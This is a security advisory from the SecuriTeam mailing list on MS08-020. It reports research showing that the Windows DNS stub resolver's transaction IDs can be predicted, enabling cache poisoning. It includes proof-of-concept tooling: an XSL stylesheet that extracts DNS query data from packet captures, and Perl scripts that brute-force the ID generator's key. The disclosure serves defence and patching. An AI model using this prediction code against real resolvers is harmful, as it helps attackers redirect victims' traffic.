The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Microsoft Windows DNS Stub Resolver Cache Poisoning (MS08-020)
------------------------------------------------------------------------
SUMMARY
The Windows DNS stub resolver is a Windows service used by Windows desktop
software to resolve DNS names into IP addresses. The DNS stub resolver
forwards DNS queries to the DNS server configured for the workstation (or
server) and returns the DNS server s response to the requesting software.
This paper shows that Windows DNS stub resolver queries are predictable -
i.e. that the source UDP port and DNS transaction ID can be effectively
predicted. A predictability algorithm is described that, in optimal
conditions, provides very few guesses for the "next" query, thereby
overcoming whatever protection offered by the transaction ID mechanism.
This enables a much more effective DNS client poisoning than the currently
known attacks against Windows DNS stub resolver.
DETAILS
Conclusion:
While DNS stub resolver cache poisoning (and predictability at large)
attacks did not receive much attention to date, they re not to be
neglected or dismissed. The use cases surveyed in this paper demonstrate
that there are various scenarios in which such attacks can take place in
the real world.
The fact that the most used DNS stub resolver, the Windows "DNS client",
is in fact vulnerable to such attack, should serve as a warning sign that
vendors are missing some key points in understanding and implementing DNS
security.
Microsoft is not alone here - several other leading vendors had to address
similar issues in their DNS servers and stub resolvers over the last year.
Alarmingly, a troubling trend for such issues emerges: in many cases,
vendors fix the predictability of the ID generation mechanism by replacing
one flawed implementation with another flawed (perhaps less than the
original, but still) implementation. For example, in reaction to a
research paper ([<A
HREF="http://www.infosecwriters.com/text_resources/pdf/predictability_of_Windows_DN
S_resolver.pdf">Predictability of Windows DNS resolver], March 2004),
Microsoft replaced the incremental ID with the weak algorithm described
above.
Instead, vendors should take a more robust approach, replacing proprietary
and/or home-made algorithms with cryptographic, industrial strength
algorithms. The small overhead in runtime pays itself back many-fold in
improved security.
Proof of concept:
XSL file
This XSL file can be applied to the PDML export file produced by the
WireShark network analyzer (a similar XSL can be used for Ethereal, though
the latter uses slightly different field names). It extracts data per each
DNS query into a single line, separated by spaces. The following fields
are extracted:
* DNS transaction ID (4 hex digits)
* Capture timestamp (seconds, 9 digits after the decimal point)
* Query object (string)
* UDP source port (4 hex digits)
The XSL transformation can be applied by any XSLT engine, e.g. Microsoft
MSXSL ([ <http://msdn2.microsoft.com/en-us/library/aa468552.aspx> Command
Line Transformations Using msxsl.exe]).
The Perl script in appendix B assumes the output of this XSL
transformation as its input.
It is advised that WireShark/Ethereal filters be used prior to applying
the XSL transformation, because the former is much quicker than the
latter, e.g. filtering for ip.src== and dns.flags.response==0 before
exporting.
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform";>
<xsl:strip-space elements="*"/>
<xsl:output method="text" encoding="ISO-8859-1"/>
<xsl:template match='/pdml/packet/proto[
@name="dns" and
field[@name="dns.flags"]/field[@name="dns.flags.response"]/@value="0"]
'>
<xsl:value-of select='field[@name="dns.id"]/@value' />
<xsl:text> </xsl:text>
<xsl:value-of
select='../proto[@name="geninfo"]/field[@name="timestamp"]/@value' />
<xsl:text> </xsl:text>
<xsl:value-of
select='field[@show="Queries"]/field/field[@name="dns.qry.name"]/@show
' />
<xsl:text> </xsl:text>
<xsl:value-of
select='../proto[@name="udp"]/field[@name="udp.srcport"]/@value' />
<xsl:text>
</xsl:text>
</xsl:template>
</xsl:stylesheet>
Wrapper code for K extraction script
#### Insert the implementation of verify_K() here ####
use Time::HiRes qw(gettimeofday);
sub get_resolver_time
{
$host=shift;
if ($host=~/t-(\d+)-\d+\.domain\.site/)
{
return $1;
}
}
# Performace optimization quickly filter the data using
# Technique #1 (which is the quickest per-item). Then run
# whatever technique needed.
sub verify_K_optimizer
{
my $K=shift;
for (my $m=1;$m<$count;$m++)
{
if (((($txid[$m]^$K)-($txid[$m-1]^$K)) % 65536)>487)
{
return 0;
}
}
return 1;
}
@txid=();
@capture_time=();
@source_port=();
@resolver_time=();
# Read all data from file. It is assumed to be in the format generated
# by the XSL transformation described in appendix A.
$count=0;
open(FD,$ARGV[0]) or die "ERROR: Can't open file $ARGV[0]";
while(my $line=<FD>)
{
# File format: TXID[4 hex] capture_time[float]
# target_name[string] source_port[4 hex]
if ($line=~/^([0-9a-fA-F]{2})([0-9a-fA-F]{2})\s
(\d*\.\d*)\s
(\S*)\s
([0-9a-fA-F]{4})/x)
{
push @txid,hex($2.$1);
push @capture_time,0.0+$3;
push @resolver_time,get_resolver_time($4);
push @source_port,hex($5);
$count++;
}
else
{
die "ERROR: Can't parse line at count=$count.\n";
}
}
close(FD);
print "INFO: Found $count DNS queries in file.\n";
# Find which bits actually change - this can reduce the enumeration
# space for K.
my $flipped=0;
my $first=$txid[0];
for (my $i=0;$i<$count;$i++)
{
$flipped|=($txid[$i]^$first);
}
my $msb;
for ($msb=15;$msb>=0;$msb--)
{
if ($flipped & (1 << $msb))
{
last;
}
}
$msb++; # $msb is now the lowest unchanged bit
if ($msb<15)
{
print "WARNING: highest ".(16-$msb)." bits do not change \n";
print " can't extract those K bits. More samples would
help.\n";
}
if ($msb>=15)
{
$msb=15;
print "INFO: most significant bit of K cannot be determined.\n";
print " This is not an issue - see the paper for more
details.\n";
}
print "INFO: Guessing K now (least significant $msb bits).\n";
my $start_time=gettimeofday();
# Enumerate over K values
my @cand;
for ($K=0;$K<(1<<$msb);$K++)
{
if (verify_K_optimizer($K) and verify_K($K))
{
push @cand,$K;
}
}
my $end_time=gettimeofday();
print "INFO: ".($#cand+1)." candidates found: @cand.\n\n";
print "INFO: Elapsed time: ".($end_time-$start_time)." Seconds.\n";
exit(0);
verify_K() for Technique #2
use POSIX qw(ceil floor);
$tick=15.6250; # In milliseconds - for multi-CPU/multi-core/HT machines
#$tick=10.0144; # In milliseconds - for single-CPU, single-core,
# non-HT machines
$error_tolerance=100; # Tolerance, in milliseconds (actual time delta is
within
# +/- $error_tolerance of the measured delta
sub verify_K
{
my $K=shift;
my $prev_delta;
for (my $m=1;$m<$count;$m++)
{
my $previous_S=$txid[$m-1]^$K;
my $current_S=$txid[$m]^$K;
my $delta=($current_S-$previous_S-1) % 65536;
my $delta_t=1000.0*$capture_time[$m]-1000.0*$capture_time[$m-
1];
if ($m>1)
{
my $delta_square=($delta-$prev_delta) % 487;
my $delta_t_min=($delta_t-$error_tolerance)>0 ?
($delta_t-$error_tolerance) : 0;
my $delta_t_max=$delta_t+$error_tolerance;
my $found=0;
for(my $j=floor($delta_t_min/$tick);
$j<=ceil($delta_t_max/$tick);$j++)
{
if ((floor($j*$tick)+1) % 487 == $delta_square)
{
$found=1;
last;
}
if ((ceil($j*$tick)+1) % 487 == $delta_square)
{
$found=1;
last;
}
}
if (not $found)
{
return 0;
}
}
$prev_delta=$delta;
}
return 1;
}
verify_K() for Technique #3
use POSIX qw(ceil floor);
$tick=15.6250; # In milliseconds - for multi-CPU/multi-core/HT machines
#$tick=10.0144; # In milliseconds - for single-CPU, single-core,
# non-HT machines
$tick_tolerance=2; # Tolerance, in ticks. Increase if no K is found.
sub verify_K
{
my $K=shift;
my %prev_n0;
for (my $m=1;$m<$count;$m++)
{
my $previous_S=$txid[$m-1]^$K;
my $current_S=$txid[$m]^$K;
my $delta=($current_S-$previous_S-1) % 65536;
my $n=(($delta-$m-$resolver_time[$m]) % 487);
# Create a list of possible n values
my %n0;
for(my $j=0;$j<=$tick_tolerance;$j++)
{
$n0{($n-(floor($j*$tick))) % 487}=1;
$n0{($n- (ceil($j*$tick))) % 487}=1;
}
if ($m>1)
{
# Find the intersection between %n0 and %prev_n0,
# and store it into %n0
foreach $k (keys(%n0))
{
if ($prev_n0{$k}!=1)
{
delete $n0{$k};
}
}
}
%prev_n0=%n0;
if (not scalar(%n0))
{
# %no is empty
return 0;
}
}
return 1;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:amit.klein@trusteer.com>
Amit Klein.
The original article can be found at:
<http://www.trusteer.com/docs/Microsoft_Windows_resolver_DNS_cache_poisoning.pdf>
http://www.trusteer.com/docs/Microsoft_Windows_resolver_DNS_cache_poisoning.pdf
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
